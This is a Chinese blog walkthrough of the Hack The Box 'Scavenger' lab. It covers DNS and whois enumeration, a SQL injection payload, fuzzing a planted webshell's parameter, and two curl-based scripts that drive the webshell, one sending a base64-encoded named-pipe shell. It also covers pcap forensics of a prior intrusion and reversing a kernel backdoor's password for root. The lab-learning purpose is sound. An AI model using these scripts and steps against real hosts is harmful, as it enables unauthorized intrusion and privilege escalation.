Hack The Box——Scavenger

目录

简介

信息收集

漏洞发现

漏洞利用

权限提升

获得ib01ftp用户FTP服务权限

获得ib01c01用户FTP服务权限

获得内核后门的密码

总结


简介

这是一个比较难的靶机,虽然开启的端口很多,可以获取到大量信息,但是需要进行甄别,需要对该靶机进行DNS枚举、web目录枚举,ftp服务枚举等。通过DNS枚举发现被入侵的网站,通过枚举webshell密码获得低权限shell,然后在目标主机发现明文存储的多个密码,然后通过枚举登录ftp服务,获取到黑客攻击的日志、流量数据包和内核后门文件,通过分析日志和流量数据包了解到黑客入侵的过程,最后经过对内核后门文件的逆向分析获取到后门程序的密码,从而获得root权限。

信息收集

使用nmap 10.10.10.155 -A扫描目标主机,可以看到开启了很多端口(21,22,25,43,53,80)和对应的服务以及版本信息,操作系统是Debian,版本基本上是10.0左右了。43端口运行这whois服务,然后在下边看到WHOIS server server [email protected]和http://www.supersechosting.htb。如图:

使用searchsploit和Google搜索各服务程序对应版本的已知漏洞,发现Exim smtpd 4.89存在远程命令执行漏洞(CVE-2017-16943,CVE-2018-6789),ISC BIND 9存在拒绝服务漏洞。访问80端口的web服务发现Virtualhost not available,使用dirbuster扫描web目录,如图:

没有什么有价值的信息,然后使用whois命令连接到目标主机查询supersechosting.htb域,如图:

发现whois.supersechosting.htb和ns1.supersechosting.htb域名,修改/etc/hosts文件,将其解析到10.10.10.155主机,然后使用host命令列出supersechosting.htb域中的所有主机,又发现ftp.supersechosting.htb,maiil1.supersechosting.htb等域名,如图:

再次修改hosts文件,将发现的所有域名解析到目标主机。www.supersechosting.htb发现如下页面:

这是一个Web主机和域名注册系统,使用了PHP7和MySQL,在页面中又发现的新的域名dns.supersechosting.htb,添加到hosts文件后发现只有www.supersechosting.htb可以访问,其它的都不能访问。

漏洞发现

使用CVE-2018-6789公开的exp测试并改进后还是无法枚举出偏移地址,因此无法利用该漏洞。结合网页中发现的信息,在域名后添加单引号测试域名查询处是否存在SQL注入,如图:

数据库在含单引号的域名处报错,且有一个但括号,进一步构造payload:htb')or'1'-- -,如图:

成功执行payload,且发现三个域名:justanotherblog.htb,pwnhats.htb和rentahacker.htb。然后使用host命令列出域内所有主机,发现www.justanotherblog.htb,mail1.justanotherblog.htb,www.pwnhats.htb,mail1.pwnhats.htb,www.rentahacker.htb,mail1.rentahacker.htb和sec03.rentahacker.htb。添加到hosts文件之后访问,mail1子域无法访问,www.justanotherblog.htb网站还在建设中,访问www.pwnhats.htb网站,是个卖帽子的网站,有查询框,但不存在注入漏洞。如图:

访问www.rentahacker.htb网站,一个出售邪恶需求的网站,有查询框,一些留言和留言提交框,但都不存在漏洞。在留言中发现31173 HAXXOR team留言网站被他们攻破了,且在网站底部发现网站使用WordPress。如图:

访问sec03.rentahacker.htb网站,发现是31173 HAXXOR team留下来的,如图:

看来网站果然被黑了,在页面源代码中没发现有用的信息,然后扫描www.pwnhats.htb,www.rentahacker.htb和sec03.rentahacker.htb网站目录,寻找一些信息,以及查看是否存在webshell文件。扫描www.pwnhats.htb网站目录,发现upload和download等目录,但没用访问权限,如图:

扫描www.rentahacker.htb网站目录,发现admin和wp-includes目录,但没用访问权限,wp-content目录有访问权限,但没什么有价值的信息,如图:

扫描sec03.rentahacker.htb网站,发现signup.php,login.php,core.php,view.php和shell.php等文件,均有访问权限。如图:

访问login.php发现网站使用MantisBT,显示应用程序错误,然后查看源码发现URL,如图:

点击url继续查看发现xml文件中包含了url,如图:

打开url之后如图:

尝试使用默认用户administrator和密码root进行登录,如图:

在左上角菜单中Manage中发现php版本以及存在普通用户ib01c03用户,如图:

访问shell.php发现页面没有任何显示,尝试使用GET和POST方法传递cmd,shell,pass,haxxor等参数,如图:

 没有任何回显信息。看来需要枚举参数了,为了方便就不适用BurpSuite了,直接使用wfuzz工具进行枚举参数。先使用GET请求进行枚举(wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hh 0 http://sec03.rentahacker.htb/shell.php?FUZZ=ls),如图:

发现参数为hidden时HTTP响应有较多数据,然后尝试执行id命令,如图:

漏洞利用

为了更方便的执行命令,在本地开启4444端口监听,利用该webshell反弹一个交互式shell到本地,然而无法利用bash反弹shell,且nc和curl命令没有权限执行,使用wget上传nc也没有建立连接,应该是目标主机防火墙做了限制。自行编写shell脚本scav.sh进行简单优化:

#!/bin/sh
#http://sec03.rentahacker.htb/shell.php
while true;do
    echo -n "scav\$ "
    read cmd
    curl -G http://sec03.rentahacker.htb/shell.php --data-urlencode "hidden=$cmd"
done

运行该脚本可以获得更方便的shell,如图:

但毕竟不是交互式shell,无法通过cd命令切换目录,且当前shell权限较低。使用命名管道在之前的shell脚本上继续优化,获得交互式shell:

#!/bin/sh

url="http://sec03.rentahacker.htb/shell.php"
user=$(curl -G --output - $url --data-urlencode "hidden=whoami" 2>/dev/null)
host=$(curl -G --output - $url --data-urlencode "hidden=hostname" 2>/dev/null)

curl -G --output - $url --data-urlencode "hidden=rm -rf /dev/shm/*"
mkf="bWtmaWZvIC9kZXYvc2htL2ZpO3RhaWwgLWYgL2Rldi9zaG0vZmkgfCAvYmluL3NoIDI+JjEgPi9kZXYvc2htL2ZvCg=="

curl -G --output - $url --data-urlencode "hidden=echo $mkf | base64 -d | /bin/sh" &

while true;do
    echo -n "$user@$host:\$ "
    read cmd
    if [ "$cmd" = "exit" ];then
        pid=$(ps -aux | grep curl | awk '{print $2}')
        kill -9 $pid 2>/dev/null
        exit
    fi
    curl -G --output - $url --data-urlencode "hidden=echo $cmd >/dev/shm/fi"
    curl -G --output - $url --data-urlencode "hidden=cat /dev/shm/fo"
    curl -G --output - $url --data-urlencode "hidden=cat /dev/null >/dev/shm/fo"
done

权限提升

查看当前目录下的文件,在config目录下发现数据库用户名和密码,如图:

尝试使用该用户名密码通过ssh和ftp登录目标主机,使用ftp成功登录,如图:

查看一番目录后没什么有价值的发现,尝试创建.ssh目录却没有权限。使用webshell查看/etc/passwd文件,发现普通用户support和其他类似ib01c03的用户,如图:

获得ib01ftp用户FTP服务权限

但没有权限查看它们的目录,然后查看其他目录,在/var/spool/目录下发现一个mail目录,里边有一个可以读取的ib01c03文件,如图:

 发现了ftp的用户名和密码,可以登录,然后发现一些文件,如图:

将文件下载到本地,然后查看ib01c03目录发现没有文件。然后分析ib01c01.access.log文件,都是一些Web访问记录,访问其中的一个地址:htt
p://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201,如图:

尝试一些弱口令无法登录,然后查看notes.txt发现是靶机作者提示我们去分析日志和pcap文件,然后使用wireshark查看ib01c01_incident.pcap文件,筛选http协议,发现一个POST请求中包含了用户名和密码,如图:

然后查看HTTP流发现并未登录成功,如图:

然后筛选使用http POST方法的请求包,发现另一个密码,如图:

查看HTTP流发现登录成功,如图:

然后查看第三个POST请求包,发现上传了使用base64编码的恶意代码,如图:

经过base64解码之后是反弹shell的命令,如图:

通过筛选4444端口查看黑客获得shell之后做了什么,依次查看,在第378个数据包的TCP流中发现黑客执行了ls,cd,wget等命令,如图:

黑客上传了Makefile和root.c文件到目标主机,并反弹了一个加密的shell到他的主机,之后的命令就被加密了。筛选http协议然后查找Makefile和root.c文件的数据包,如图:

在HTTP流中可以看到文件内容,如图:

为了方便使用,将其响应数据包(第426和第489个数据包)中的内容导出到本地。查看root.c文件发现着是一个内核后门程序的源代码。由此可见我们也可以利用此方法获得一个shell,然后通过后门文件获得root权限。修改返回的地址,然后使用base64编码,并验证,如图:

启动浏览器和BurpSuite,设置代理,使用获取到的Email和密码登录,然后将URL参数controller的值AdminDashboard改为AdminCustomerThreads,然后提交,如图:

点击橙色按钮即可到达执行恶意代码的页面,然后替换base64编码部分,如图:

点击右下角保存之后并没有反弹回shell,同样也无法使用bash反弹shell,应该是黑客禁止了所有外连命令的执行。

获得ib01c01用户FTP服务权限

使用获取到的密码Thi$sh1tIsN0tGut,YhgRt56_Ta,GetYouAH4t!尝试枚举ib01c01,ib01c02,ib01c03和support用户。使用GetYouAH4t!可以登录ib01c01用户的ftp,如图:

在/home/ib01c01下发现access.txt和user.txt文件及www目录和...目录,如图:

查看access.txt发现记录着ib01c01的ftp用户名和密码,www是卖帽子的网站目录,...目录下有一个root.ko内核模块文件,应该是之前导出的root.c编译后的文件。查看该模块发现已经加载,如图:

尝试连接内核后门,并没有成功,如图:

看来密码被更换了,尝试31173,HAXXOR等也未成功。

获得内核后门的密码

将root.ko下载到本地,使用64为IDA进行分析,依次查看左侧函数,在root_write函数的伪代码中发现字符串复制,如图:

尝试使用g3tPr1v连接后门程序,成功获得root权限,如图:

总结

该靶机设计的还算不错,从信息收集到攻击回溯,再到日志分析,流量分析,逆向分析,多方位考察渗透者的技能,但总的来说主要还是考察了枚举。而我在渗透过程中在whois查询的SQL注入漏洞那里卡了段时间,接着又是ftp枚举那里卡了段时间。枚举是最简单的方法,成功的关键在于收集到的信息和使用的字典,而我通常都是将枚举攻击放到最后,因此对于这种主要靠枚举攻击进入的靶机还是有点吃力的。

原创文章 40 获赞 78 访问量 32万+

猜你喜欢

转载自blog.csdn.net/qq_32261191/article/details/104615302